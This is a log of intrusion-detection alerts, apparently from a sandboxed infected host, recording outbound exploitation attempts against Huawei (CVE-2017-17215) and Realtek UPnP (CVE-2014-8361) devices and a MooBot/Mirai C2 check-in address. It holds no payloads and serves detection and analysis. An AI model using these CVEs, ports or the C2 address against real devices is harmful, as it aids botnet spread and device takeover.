ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 2.229.175.12

Timestamp:	07/20/24-23:01:06.662973
SID:	2027339
Source Port:	42128
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 117.207.123.4

Timestamp:	07/20/24-23:01:22.777005
SID:	2835222
Source Port:	51612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 4.79.178.142

Timestamp:	07/20/24-23:01:02.410155
SID:	2835222
Source Port:	39320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.117.19.131

Timestamp:	07/20/24-23:01:19.222257
SID:	2829579
Source Port:	41558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 220.122.25.2

Timestamp:	07/20/24-23:01:22.801376
SID:	2829579
Source Port:	44718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 206.233.127.191

Timestamp:	07/20/24-23:01:13.331144
SID:	2831300
Source Port:	51914
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 130.190.186.142

Timestamp:	07/20/24-23:01:13.336391
SID:	2831300
Source Port:	43744
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 68.79.78.213

Timestamp:	07/20/24-23:01:11.460861
SID:	2835222
Source Port:	60574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 65.171.178.93

Timestamp:	07/20/24-23:01:05.895933
SID:	2835222
Source Port:	51850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.186.136.100

Timestamp:	07/20/24-23:01:05.904128
SID:	2835222
Source Port:	60486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.179.24.29

Timestamp:	07/20/24-23:01:11.467529
SID:	2835222
Source Port:	43220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.94.199.1

Timestamp:	07/20/24-23:01:22.786757
SID:	2829579
Source Port:	52560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.231.193.50

Timestamp:	07/20/24-23:01:25.281101
SID:	2829579
Source Port:	45606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 149.100.184.249

Timestamp:	07/20/24-23:01:25.287093
SID:	2835222
Source Port:	44472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.150.14.115

Timestamp:	07/20/24-23:01:28.170987
SID:	2829579
Source Port:	59080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 77.65.52.12

Timestamp:	07/20/24-23:01:07.668267
SID:	2829579
Source Port:	44592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.130.160.243

Timestamp:	07/20/24-23:01:37.164417
SID:	2829579
Source Port:	50662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.67.38.205

Timestamp:	07/20/24-23:01:14.406708
SID:	2835222
Source Port:	41270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.133.74.148

Timestamp:	07/20/24-23:01:19.235468
SID:	2835222
Source Port:	35708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.216.142.146

Timestamp:	07/20/24-23:01:25.230451
SID:	2835222
Source Port:	44858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 74.157.77.170

Timestamp:	07/20/24-23:01:29.684573
SID:	2025132
Source Port:	38526
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.200.88.89

Timestamp:	07/20/24-23:01:11.477131
SID:	2829579
Source Port:	32974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.160.7.24

Timestamp:	07/20/24-23:01:14.398477
SID:	2829579
Source Port:	51054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 71.165.43.178

Timestamp:	07/20/24-23:01:24.479575
SID:	2025132
Source Port:	35758
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.89.201.91

Timestamp:	07/20/24-23:01:05.900314
SID:	2835222
Source Port:	41900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 191.124.131.163

Timestamp:	07/20/24-23:01:05.528906
SID:	2025132
Source Port:	44008
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.135.123.11

Timestamp:	07/20/24-23:01:05.896134
SID:	2835222
Source Port:	54762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 168.49.16.106

Timestamp:	07/20/24-23:01:32.981292
SID:	2025132
Source Port:	53862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 105.235.42.192

Timestamp:	07/20/24-23:01:33.896440
SID:	2025132
Source Port:	40096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 167.60.40.217

Timestamp:	07/20/24-23:01:06.249116
SID:	2025132
Source Port:	48580
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.233.145.134

Timestamp:	07/20/24-23:01:07.680463
SID:	2835222
Source Port:	34978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 35.20.186.175

Timestamp:	07/20/24-23:01:33.068258
SID:	2829579
Source Port:	48806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 118.150.115.134

Timestamp:	07/20/24-23:01:25.383199
SID:	2025132
Source Port:	37740
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 5.183.215.180

Timestamp:	07/20/24-23:01:33.047902
SID:	2835222
Source Port:	57374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.110.14.102

Timestamp:	07/20/24-23:01:11.454990
SID:	2829579
Source Port:	39360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 114.78.57.39

Timestamp:	07/20/24-23:01:33.277218
SID:	2025132
Source Port:	46748
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 188.64.202.52

Timestamp:	07/20/24-23:01:13.332260
SID:	2027339
Source Port:	44518
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 203.216.60.68

Timestamp:	07/20/24-23:01:14.397956
SID:	2835222
Source Port:	55982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.14.68.46

Timestamp:	07/20/24-23:01:25.294369
SID:	2835222
Source Port:	33690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.6.120.115

Timestamp:	07/20/24-23:01:28.175716
SID:	2835222
Source Port:	55974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.243.15.26

Timestamp:	07/20/24-23:01:14.416273
SID:	2829579
Source Port:	42998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 174.117.157.2

Timestamp:	07/20/24-23:01:13.332596
SID:	2027339
Source Port:	59264
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 18.203.170.108

Timestamp:	07/20/24-23:01:07.664911
SID:	2829579
Source Port:	45202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.206.191.212

Timestamp:	07/20/24-23:01:22.801376
SID:	2835222
Source Port:	54264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 165.24.106.58

Timestamp:	07/20/24-23:01:30.624414
SID:	2025132
Source Port:	33018
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 174.113.101.241

Timestamp:	07/20/24-23:01:24.078416
SID:	2831300
Source Port:	49964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.212.179.177

Timestamp:	07/20/24-23:01:02.412965
SID:	2835222
Source Port:	57418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 157.6.186.252

Timestamp:	07/20/24-23:01:34.918353
SID:	2027339
Source Port:	58686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.207.38.72

Timestamp:	07/20/24-23:01:19.227177
SID:	2835222
Source Port:	43642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.67.110.142

Timestamp:	07/20/24-23:01:25.295702
SID:	2829579
Source Port:	50546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 213.207.143.98

Timestamp:	07/20/24-23:01:13.331934
SID:	2831300
Source Port:	51736
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 65.29.160.70

Timestamp:	07/20/24-23:01:13.332449
SID:	2027339
Source Port:	52752
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.239.188.37

Timestamp:	07/20/24-23:01:05.900314
SID:	2829579
Source Port:	47644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 218.196.239.193

Timestamp:	07/20/24-23:01:33.499276
SID:	2027339
Source Port:	59312
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 130.69.123.40

Timestamp:	07/20/24-23:01:13.330072
SID:	2027339
Source Port:	34906
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 125.202.144.54

Timestamp:	07/20/24-23:01:24.075554
SID:	2831300
Source Port:	48776
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 137.177.10.208

Timestamp:	07/20/24-23:01:22.769326
SID:	2835222
Source Port:	59556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 162.145.238.215

Timestamp:	07/20/24-23:01:33.390286
SID:	2025132
Source Port:	49362
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 210.67.14.178

Timestamp:	07/20/24-23:01:32.960530
SID:	2027339
Source Port:	50292
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.92.68.76

Timestamp:	07/20/24-23:01:11.459583
SID:	2829579
Source Port:	57296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.214.11.181

Timestamp:	07/20/24-23:01:22.784106
SID:	2829579
Source Port:	58784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 1.93.126.106

Timestamp:	07/20/24-23:01:37.160288
SID:	2835222
Source Port:	42508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.8.234.46

Timestamp:	07/20/24-23:01:02.412965
SID:	2835222
Source Port:	58610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.94.156.130

Timestamp:	07/20/24-23:01:19.231228
SID:	2835222
Source Port:	49392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 81.96.77.48

Timestamp:	07/20/24-23:01:34.899868
SID:	2027339
Source Port:	56584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 53.120.126.237

Timestamp:	07/20/24-23:01:19.334799
SID:	2829579
Source Port:	57120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 60.250.175.203

Timestamp:	07/20/24-23:01:02.410155
SID:	2835222
Source Port:	38906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 65.29.160.70

Timestamp:	07/20/24-23:01:06.262239
SID:	2025132
Source Port:	51512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.137.138.229

Timestamp:	07/20/24-23:01:14.396954
SID:	2835222
Source Port:	54350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 111.237.207.198

Timestamp:	07/20/24-23:01:25.196788
SID:	2025132
Source Port:	39890
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.42.133.249

Timestamp:	07/20/24-23:01:19.221490
SID:	2829579
Source Port:	48112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 50.38.227.2

Timestamp:	07/20/24-23:01:11.454417
SID:	2829579
Source Port:	51980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.113.123.115

Timestamp:	07/20/24-23:01:25.281101
SID:	2829579
Source Port:	47196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.74.157.126

Timestamp:	07/20/24-23:01:14.397565
SID:	2829579
Source Port:	52432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:01:24.710414
SID:	2030490
Source Port:	45116
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 100.167.118.103

Timestamp:	07/20/24-23:01:29.577331
SID:	2027339
Source Port:	47006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.128.242.91

Timestamp:	07/20/24-23:01:33.081951
SID:	2835222
Source Port:	42928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 53.62.238.12

Timestamp:	07/20/24-23:01:34.915141
SID:	2027339
Source Port:	39404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 41.70.70.158

Timestamp:	07/20/24-23:01:13.332260
SID:	2027339
Source Port:	59932
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.27.76.211

Timestamp:	07/20/24-23:01:25.290247
SID:	2835222
Source Port:	51950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.42.5.74

Timestamp:	07/20/24-23:01:05.906603
SID:	2829579
Source Port:	35758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 172.198.125.221

Timestamp:	07/20/24-23:01:29.172557
SID:	2831300
Source Port:	46648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.171.70.30

Timestamp:	07/20/24-23:01:02.410541
SID:	2829579
Source Port:	33888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.44.7.216

Timestamp:	07/20/24-23:01:14.406708
SID:	2835222
Source Port:	32880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 196.128.196.44

Timestamp:	07/20/24-23:01:24.830631
SID:	2025132
Source Port:	50650
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.190.16.151

Timestamp:	07/20/24-23:01:25.283565
SID:	2829579
Source Port:	42826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 143.76.5.38

Timestamp:	07/20/24-23:01:32.461273
SID:	2027339
Source Port:	44016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 145.169.160.7

Timestamp:	07/20/24-23:01:02.411662
SID:	2835222
Source Port:	59918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 13.226.216.53

Timestamp:	07/20/24-23:01:34.929652
SID:	2027339
Source Port:	48706
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 101.71.112.133

Timestamp:	07/20/24-23:01:05.446481
SID:	2027339
Source Port:	38530
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.57.156.185

Timestamp:	07/20/24-23:01:05.895886
SID:	2835222
Source Port:	37374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.151.150.203

Timestamp:	07/20/24-23:01:37.214680
SID:	2835222
Source Port:	58334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 212.61.76.50

Timestamp:	07/20/24-23:01:05.892501
SID:	2829579
Source Port:	56030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 183.53.169.200

Timestamp:	07/20/24-23:01:19.220464
SID:	2835222
Source Port:	38182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.16.136.252

Timestamp:	07/20/24-23:01:19.220762
SID:	2835222
Source Port:	53518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:01:17.542102
SID:	2030490
Source Port:	42936
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.233.57.38

Timestamp:	07/20/24-23:01:19.221490
SID:	2835222
Source Port:	56596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.226.130.147

Timestamp:	07/20/24-23:01:07.664911
SID:	2835222
Source Port:	58758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.214.243.25

Timestamp:	07/20/24-23:01:11.460861
SID:	2835222
Source Port:	47768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.127.82.180

Timestamp:	07/20/24-23:01:37.222600
SID:	2829579
Source Port:	43372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.7.129.75

Timestamp:	07/20/24-23:01:07.676921
SID:	2829579
Source Port:	60620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

